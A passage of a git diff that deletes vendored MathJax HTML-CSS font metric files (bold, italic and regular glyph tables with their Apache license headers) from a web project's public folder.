-MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["MathJax_Main-bold"]={directory:"Main/Bold",family:"MathJax_Main",weight:"bold",testString:"MathJax Main",skew:{305:0.0319,567:0.0958,8463:-0.0319,8467:0.128,8706:0.0958},Ranges:[[160,255,"Latin1Supplement"],[256,383,"LatinExtendedA"],[384,591,"LatinExtendedB"],[688,767,"SpacingModLetters"],[768,879,"CombDiacritMarks"],[8192,8303,"GeneralPunctuation"],[8400,8447,"CombDiactForSymbols"],[8448,8527,"LetterlikeSymbols"],[8592,8703,"Arrows"],[8704,8959,"MathOperators"],[8960,9215,"MiscTechnical"],[9632,9727,"GeometricShapes"],[9728,9983,"MiscSymbols"],[10176,10223,"MiscMathSymbolsA"],[10224,10239,"SupplementalArrowsA"],[10752,11007,"SuppMathOperators"]],32:[0,0,250,0,0],33:[705,-1,350,89,260],34:[694,-329,603,38,492],35:[694,193,958,64,893],36:[750,56,575,64,510],37:[750,56,958,65,893],38:[705,11,894,48,836],39:[694,-329,319,74,261],40:[751,250,447,103,382],41:[750,249,447,64,343],42:[750,-306,575,73,501],43:[633,131,894,64,829],44:[171,194,319,74,258],45:[278,-166,383,13,318],46:[171,-1,319,74,245],47:[750,250,575,63,511],48:[655,10,575,45,529],49:[655,0,575,80,494],50:[654,0,575,57,517],51:[655,12,575,47,526],52:[657,0,575,32,542],53:[655,11,575,57,517],54:[655,11,575,48,527],55:[676,11,575,64,559],56:[654,11,575,48,526],57:[654,11,575,48,526],58:[444,-1,319,74,245],59:[444,194,319,74,248],60:[587,85,894,96,797],61:[393,-109,894,64,829],62:[587,85,894,95,797],63:[700,-1,543,65,478],64:[700,6,894,64,829],65:[698,0,869,40,828],66:[687,0,818,39,753],67:[697,11,831,64,767],68:[687,0,882,39,817],69:[681,0,756,38,723],70:[680,0,724,39,675],71:[697,10,904,64,845],72:[686,0,900,39,860],73:[686,0,436,25,410],74:[686,11,594,8,527],75:[686,0,901,39,852],76:[686,0,692,39,643],77:[687,0,1092,39,1052],78:[687,1,900,39,861],79:[696,10,864,64,798],80:[686,0,786,39,721],81:[697,193,864,64,806],82:[687,11,862,39,858],83:[697,11,639,63,575],84:[675,0,800,41,758],85:[686,12,885,39,845],86:[686,7,869,25,843],87:[686,8,1189,24,1164],88:[686,0,869,33,835],89:[686,0,869,19,849],90:[687,0,703,64,645],91:[750,250,319,128,293],92:[750,250,575,63,511],93:[750,250,319,25,190],94:[694,-520,575,126,448],95:[-10,61,575,0,574],96:[706,-503,575,114,338],97:[453,6,559,32,558],98:[694,7,639,29,601],99:[453,6,511,39,478],100:[695,6,639,38,609],101:[453,6,527,32,494],102:[700,0,351,40,452],103:[455,201,575,30,558],104:[694,0,639,37,623],105:[695,0,319,40,294],106:[695,200,351,-71,274],107:[694,0,607,29,587],108:[694,0,319,40,301],109:[451,0,958,37,942],110:[450,0,639,37,623],111:[452,5,575,32,542],112:[450,194,639,28,600],113:[450,194,607,38,609],114:[450,0,474,29,442],115:[453,7,454,37,415],116:[636,6,447,21,382],117:[450,6,639,37,623],118:[444,4,607,26,580],119:[444,5,831,25,805],120:[444,0,607,21,586],121:[444,200,607,23,580],122:[445,0,511,31,462],123:[751,251,575,69,504],124:[750,249,319,129,190],125:[751,251,575,70,504],126:[344,-201,575,96,478],915:[680,0,692,39,643],916:[698,0,958,56,901],920:[696,10,894,64,829],923:[699,0,806,40,765],926:[675,0,767,48,718],928:[680,0,900,39,860],931:[686,0,831,63,766],933:[697,0,894,64,829],934:[686,0,831,64,766],936:[686,0,894,64,829],937:[696,1,831,51,780]};MathJax.Callback.Queue(["initFont",MathJax.OutputJax["HTML-CSS"],"MathJax_Main-bold"],["loadComplete",MathJax.Ajax,MathJax.OutputJax["HTML-CSS"].fontDir+"/Main/Bold/Main.js"]);
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/MathOperators.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/MathOperators.js
deleted file mode 100644
index e036e7ea..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/MathOperators.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/MathOperators.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["MathJax_Main-bold"],{8704:[694,16,639,0,640],8706:[710,17,628,60,657],8707:[694,-1,639,64,574],8709:[767,73,575,46,528],8711:[686,24,958,56,901],8712:[587,86,767,97,670],8713:[711,210,767,97,670],8715:[588,86,767,95,670],8722:[281,-221,894,96,797],8723:[537,227,894,64,829],8725:[750,250,575,63,511],8726:[750,250,575,63,511],8727:[472,-27,575,73,501],8728:[474,-28,575,64,510],8729:[474,-28,575,64,510],8730:[820,180,958,78,989],8733:[451,8,894,65,831],8734:[452,8,1150,65,1084],8736:[715,0,722,55,676],8739:[750,249,319,129,190],8741:[750,248,575,145,430],8743:[604,17,767,64,702],8744:[604,17,767,64,702],8745:[603,16,767,64,702],8746:[604,16,767,64,702],8747:[711,211,569,64,632],8764:[391,-109,894,64,828],8768:[583,82,319,64,254],8771:[502,3,894,64,829],8773:[638,27,1000,64,829],8776:[524,-32,894,64,829],8781:[533,32,894,64,829],8784:[721,-109,894,64,829],8800:[712,210,894,64,830],8801:[505,3,894,64,829],8804:[697,199,894,96,797],8805:[697,199,894,96,797],8810:[618,117,1150,64,1085],8811:[619,116,1150,64,1085],8826:[585,86,894,95,797],8827:[586,86,894,96,797],8834:[587,85,894,96,797],8835:[587,86,894,96,797],8838:[697,199,894,96,797],8839:[697,199,894,96,797],8846:[604,16,767,64,702],8849:[697,199,894,96,828],8850:[697,199,894,66,797],8851:[604,-1,767,70,696],8852:[604,-1,767,70,696],8853:[632,132,894,64,828],8854:[632,132,894,64,828],8855:[632,132,894,64,828],8856:[632,132,894,64,828],8857:[632,132,894,64,828],8866:[693,-1,703,65,637],8867:[693,-1,703,64,638],8868:[694,-1,894,64,829],8869:[693,-1,894,64,829],8872:[750,249,974,129,918],8900:[524,21,575,15,561],8901:[336,-166,319,74,245],8902:[502,1,575,24,551],8904:[541,39,1000,33,967],8942:[951,29,319,74,245],8943:[336,-166,1295,74,1221],8945:[871,-101,1323,129,1194]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/Main/Bold/MathOperators.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/MiscMathSymbolsA.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/MiscMathSymbolsA.js
deleted file mode 100644
index 2e788a75..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/MiscMathSymbolsA.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/MiscMathSymbolsA.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["MathJax_Main-bold"],{10216:[750,249,447,127,382],10217:[750,249,447,64,319]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/Main/Bold/MiscMathSymbolsA.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/MiscSymbols.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/MiscSymbols.js
deleted file mode 100644
index b8253d5d..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/MiscSymbols.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/MiscSymbols.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["MathJax_Main-bold"],{9824:[720,130,894,63,829],9825:[711,24,894,65,828],9826:[719,154,894,64,828],9827:[720,130,894,32,861],9837:[750,17,447,63,382],9838:[741,223,447,56,390],9839:[724,224,447,63,383]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/Main/Bold/MiscSymbols.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/MiscTechnical.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/MiscTechnical.js
deleted file mode 100644
index 592a0232..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/MiscTechnical.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/MiscTechnical.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["MathJax_Main-bold"],{8968:[750,248,511,194,493],8969:[750,248,511,17,317],8970:[749,248,511,194,493],8971:[749,248,511,17,317],8994:[405,-108,1150,64,1084],8995:[393,-126,1150,64,1085]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/Main/Bold/MiscTechnical.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/SpacingModLetters.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/SpacingModLetters.js
deleted file mode 100644
index df997cf3..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/SpacingModLetters.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/SpacingModLetters.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["MathJax_Main-bold"],{710:[694,-520,575,126,448],711:[660,-515,575,130,444],713:[607,-540,575,80,494],714:[706,-503,575,236,460],715:[706,-503,575,114,338],728:[694,-500,575,102,472],729:[695,-525,575,202,372],730:[703,-536,575,160,414],732:[694,-551,575,96,478]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/Main/Bold/SpacingModLetters.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/SuppMathOperators.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/SuppMathOperators.js
deleted file mode 100644
index 22069ea4..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/SuppMathOperators.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/SuppMathOperators.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["MathJax_Main-bold"],{10815:[687,1,900,38,861],10927:[696,199,894,96,797],10928:[698,199,894,96,797]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/Main/Bold/SuppMathOperators.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/SupplementalArrowsA.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/SupplementalArrowsA.js
deleted file mode 100644
index 95b5d989..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/SupplementalArrowsA.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Bold/SupplementalArrowsA.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["MathJax_Main-bold"],{10229:[519,18,1805,64,1741],10230:[519,18,1833,96,1774],10231:[519,18,2126,64,2062],10232:[548,46,1868,64,1804],10233:[548,47,1870,63,1804],10234:[548,47,2126,64,2060],10236:[519,18,1833,65,1774]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/Main/Bold/SupplementalArrowsA.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Italic/CombDiacritMarks.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Italic/CombDiacritMarks.js
deleted file mode 100644
index 232431a3..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Italic/CombDiacritMarks.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Italic/CombDiacritMarks.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["MathJax_Main-italic"],{768:[697,-500,0,-222,-74],769:[697,-500,0,-173,39],770:[694,-527,0,-251,17],771:[668,-558,0,-265,60],772:[590,-544,0,-282,54],774:[695,-515,0,-237,62],775:[669,-548,0,-165,-41],776:[669,-554,0,-251,45],778:[716,-542,0,-199,3],779:[697,-503,0,-248,65],780:[638,-501,0,-236,29]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/Main/Italic/CombDiacritMarks.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Italic/GeneralPunctuation.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Italic/GeneralPunctuation.js
deleted file mode 100644
index 4c654acc..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Italic/GeneralPunctuation.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Italic/GeneralPunctuation.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["MathJax_Main-italic"],{8211:[286,-248,511,91,554],8212:[285,-248,1022,117,1038],8216:[694,-379,307,197,362],8217:[694,-379,307,213,377],8220:[694,-378,514,243,606],8221:[694,-379,514,176,538]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/Main/Italic/GeneralPunctuation.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Italic/GreekAndCoptic.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Italic/GreekAndCoptic.js
deleted file mode 100644
index f9ef9ed6..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Italic/GreekAndCoptic.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Italic/GreekAndCoptic.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["MathJax_Main-italic"],{915:[680,0,627,54,706],916:[717,1,818,70,751],920:[704,22,767,149,788],923:[717,0,692,58,646],926:[678,1,664,74,754],928:[680,0,743,54,859],931:[683,1,716,80,782],933:[706,0,767,213,833],934:[683,1,716,158,728],936:[683,0,767,207,824],937:[705,0,716,100,759]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/Main/Italic/GreekAndCoptic.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Italic/Latin1Supplement.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Italic/Latin1Supplement.js
deleted file mode 100644
index 8e6faa59..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Italic/Latin1Supplement.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Italic/Latin1Supplement.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["MathJax_Main-italic"],{160:[0,0,250,0,0]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/Main/Italic/Latin1Supplement.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Italic/LatinExtendedA.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Italic/LatinExtendedA.js
deleted file mode 100644
index 94a05125..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Italic/LatinExtendedA.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Italic/LatinExtendedA.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["MathJax_Main-italic"],{305:[441,10,307,75,340]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/Main/Italic/LatinExtendedA.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Italic/LatinExtendedB.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Italic/LatinExtendedB.js
deleted file mode 100644
index ea88a9b2..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Italic/LatinExtendedB.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Italic/LatinExtendedB.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["MathJax_Main-italic"],{567:[442,205,332,-32,327]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/Main/Italic/LatinExtendedB.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Italic/LetterlikeSymbols.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Italic/LetterlikeSymbols.js
deleted file mode 100644
index a7a4ef17..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Italic/LetterlikeSymbols.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Italic/LetterlikeSymbols.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["MathJax_Main-italic"],{8463:[695,13,540,42,562]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/Main/Italic/LetterlikeSymbols.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Italic/Main.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Italic/Main.js
deleted file mode 100644
index ac283bac..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Italic/Main.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Italic/Main.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["MathJax_Main-italic"]={directory:"Main/Italic",family:"MathJax_Main",style:"italic",testString:"MathJax Main",Ranges:[[160,255,"Latin1Supplement"],[768,879,"CombDiacritMarks"],[8192,8303,"GeneralPunctuation"],[8448,8527,"LetterlikeSymbols"]],32:[0,0,250,0,0],33:[716,0,307,107,380],34:[694,-379,514,176,538],35:[694,194,818,115,828],37:[751,56,818,144,848],38:[716,22,767,127,802],39:[694,-379,307,213,377],40:[750,250,409,144,517],41:[750,250,409,17,390],42:[751,-320,511,195,584],43:[558,57,767,139,753],44:[121,194,307,69,233],45:[251,-179,358,84,341],46:[121,0,307,107,231],47:[750,250,511,19,617],48:[665,21,511,110,562],49:[666,0,511,110,468],50:[666,22,511,76,551],51:[667,22,511,96,563],52:[666,194,511,46,479],53:[666,22,511,106,567],54:[665,22,511,120,566],55:[666,22,511,136,634],56:[666,21,511,99,553],57:[666,22,511,107,553],58:[431,0,307,107,308],59:[431,194,307,70,308],61:[367,-133,767,116,776],63:[717,0,511,195,551],64:[705,11,767,152,789],65:[716,1,743,58,696],66:[683,1,704,57,732],67:[705,21,716,150,812],68:[683,1,755,56,775],69:[681,0,678,54,743],70:[681,0,653,54,731],71:[705,22,774,149,812],72:[683,0,743,54,860],73:[683,0,386,49,508],74:[683,21,525,78,622],75:[683,0,769,54,859],76:[683,0,627,54,628],77:[684,0,897,58,1010],78:[684,0,743,54,860],79:[704,22,767,149,788],80:[684,0,678,55,729],81:[704,194,767,149,788],82:[683,22,729,55,723],83:[706,22,562,74,634],84:[678,0,716,171,807],85:[684,22,743,194,860],86:[683,22,743,205,868],87:[683,22,999,205,1124],88:[684,0,743,50,826],89:[684,0,743,198,875],90:[683,1,613,80,705],91:[751,251,307,73,446],93:[751,251,307,-14,359],94:[694,-527,511,260,528],95:[-24,62,511,91,554],97:[442,11,511,101,543],98:[694,11,460,108,467],99:[441,10,460,103,470],100:[694,11,511,100,567],101:[442,10,460,107,470],102:[705,204,307,-23,450],103:[442,205,460,46,495],104:[695,11,511,69,544],105:[656,10,307,75,340],106:[656,204,307,-32,364],107:[694,11,460,69,499],108:[694,11,256,87,312],109:[443,11,818,75,851],110:[443,11,562,75,595],111:[442,11,511,103,517],112:[442,194,511,5,518],113:[442,195,460,100,504],114:[442,11,422,75,484],115:[442,11,409,76,418],116:[627,11,332,87,373],117:[441,11,537,75,570],118:[443,10,460,75,492],119:[443,12,664,74,696],120:[442,11,464,58,513],121:[441,206,486,75,522],122:[442,11,409,54,466],126:[318,-208,511,246,571],163:[714,11,769,87,699],305:[441,10,307,75,340],567:[442,205,332,-32,327],915:[680,0,627,54,706],916:[717,1,818,70,751],920:[704,22,767,149,788],923:[717,0,692,58,646],926:[678,1,664,74,754],928:[680,0,743,54,859],931:[683,1,716,80,782],933:[706,0,767,213,833],934:[683,1,716,158,728],936:[683,0,767,207,824],937:[705,0,716,100,759]};MathJax.Callback.Queue(["initFont",MathJax.OutputJax["HTML-CSS"],"MathJax_Main-italic"],["loadComplete",MathJax.Ajax,MathJax.OutputJax["HTML-CSS"].fontDir+"/Main/Italic/Main.js"]);
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/Arrows.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/Arrows.js
deleted file mode 100644
index d3a22886..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/Arrows.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/Arrows.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.MathJax_Main,{8592:[511,12,1000,54,944],8593:[694,194,500,17,483],8594:[512,11,1000,55,945],8595:[694,194,500,17,483],8596:[511,11,1000,55,945],8597:[772,272,500,17,483],8598:[720,196,1000,29,944],8599:[720,195,1000,55,970],8600:[695,220,1000,55,970],8601:[695,220,1000,29,944],8614:[512,11,1000,54,945],8617:[511,12,1126,54,1070],8618:[512,11,1126,55,1071],8636:[511,-230,1000,55,944],8637:[270,11,1000,55,944],8640:[511,-230,1000,55,944],8641:[270,11,1000,55,945],8652:[671,11,1000,55,944],8656:[525,24,1000,55,944],8657:[694,194,611,31,579],8658:[525,25,1000,55,944],8659:[694,194,611,31,579],8660:[525,25,1000,34,966],8661:[772,272,611,31,580]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/Main/Regular/Arrows.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/CombDiacritMarks.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/CombDiacritMarks.js
deleted file mode 100644
index 69bde5f9..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/CombDiacritMarks.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/CombDiacritMarks.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.MathJax_Main,{768:[699,-505,0,-394,-205],769:[699,-505,0,-297,-107],770:[694,-531,0,-388,-113],771:[668,-565,0,-417,-84],772:[590,-544,0,-431,-70],774:[694,-515,0,-408,-93],775:[669,-549,0,-310,-191],776:[669,-554,0,-405,-96],778:[715,-542,0,-353,-148],779:[701,-510,0,-378,-80],780:[644,-513,0,-386,-115],824:[716,215,0,-639,-140]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/Main/Regular/CombDiacritMarks.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/CombDiactForSymbols.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/CombDiactForSymbols.js
deleted file mode 100644
index 4fcdd0e3..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/CombDiactForSymbols.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/Main/Regular/CombDiactForSymbols.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
